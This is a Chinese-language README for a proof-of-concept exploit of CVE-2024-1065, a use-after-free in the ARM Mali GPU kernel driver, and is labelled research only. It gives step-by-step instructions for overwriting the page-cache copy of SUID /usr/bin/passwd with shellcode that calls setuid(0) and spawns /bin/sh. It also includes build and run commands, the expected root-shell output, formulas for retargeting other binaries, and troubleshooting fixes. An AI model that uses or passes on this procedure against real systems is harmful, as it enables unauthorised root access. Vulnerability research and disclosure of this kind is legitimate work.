针对 CVE-2024-1065 的概念验证利用程序,这是一个 ARM Mali GPU 内核驱动中的物理页释放后重用漏洞。该利用演示了页缓存利用:将释放的 MIGRATE_MOVABLE 页竞态置入 SUID 二进制文件的内存代码映像中,然后覆盖它以在不修改磁盘上任何文件的情况下实现以 root 身份执行任意代码。
仅用于研究目的。 此 PoC 针对一个在受控 x86 测试系统上已修补的漏洞。在量产 Pixel 设备上,该漏洞代码路径无法从用户空间触发。
触发 UAF — 通过 KBASE_IOCTL_MEM_IMPORT 将一个匿名页导入 Mali GPU 驱动,并两次映射到用户空间。释放两个映射后,该物理页返还给 MIGRATE_MOVABLE 伙伴空闲链表,而 cpu_mapping2 仍对其具有别名。
喷洒页缓存 — 利用程序打开 /usr/bin/passwd 100 次,反复使用 posix_fadvise(POSIX_FADV_DONTNEED) 驱逐 PAGE_OFFSET 处的页,然后通过 pread 触发缓存未命中。每次未命中强制内核分配一个新的 MIGRATE_MOVABLE 页,循环空闲链表直至选中 UAF 页。
确认重叠 — 通过 cpu_mapping2 在 MAIN_OFFSET 处读取一个探测字节,确认 UAF 页现在支撑着该二进制文件的页缓存条目。值 0x00 和 0x61 表示失败;其他任何值都是真实的二进制代码。
注入 shellcode — 通过 cpu_mapping2 执行 memcpy 覆盖 main(),使其调用 setuid(0)、setgid(0) 和 execve("/bin/sh")。
执行 — 调用 execve("/usr/bin/passwd")。ELF 加载器将二进制文件的页缓存页映射为可执行。被破坏的页已经存在——不发生磁盘读取——因此 shellcode 以 root 身份运行。
gcc -O2 -o exploit exploit.c
./exploit
预期输出:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
所有目标特定值定义在 exploit.c 的顶部:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* 包含 main() 的页在文件中的偏移 */
#define MAIN_OFFSET 0xbc0 /* main() 在页内的偏移 */
要重新定位到不同的二进制文件,通过反汇编 _start 在入口点地址处(readelf -h)找到函数偏移,然后计算:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
运行前验证:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| 需求 | 值 |
|---|
| 架构 | x86-64 |
| 内核 | 5.15(在 5.15.0+ 上测试) |
| 内核配置 | CONFIG_MALI_NO_MALI=y、CONFIG_MALI_CSF_SUPPORT=y、r48 |
| 设备 | /dev/mali0 可从用户空间访问 |
| 目标二进制 | /usr/bin/passwd(SUID root) |
| 现象 | 原因 | 修复 |
|---|
| 喷洒 100 次后失败 | UAF 页在竞态窗口前已被占用 | 在触发 UAF 前预先驱逐目标页;增加 NUM_FDS |
kernel BUG at mm/page_poison.c | 探测检查通过了 0xaa 页毒化字节 | 在确认检查中添加 probe != 0xaa |
SYSCHK 在 MEM_IMPORT 上失败 | Mali 驱动未加载或版本错误 | 检查 CONFIG_MALI_NO_MALI 和驱动版本握手 |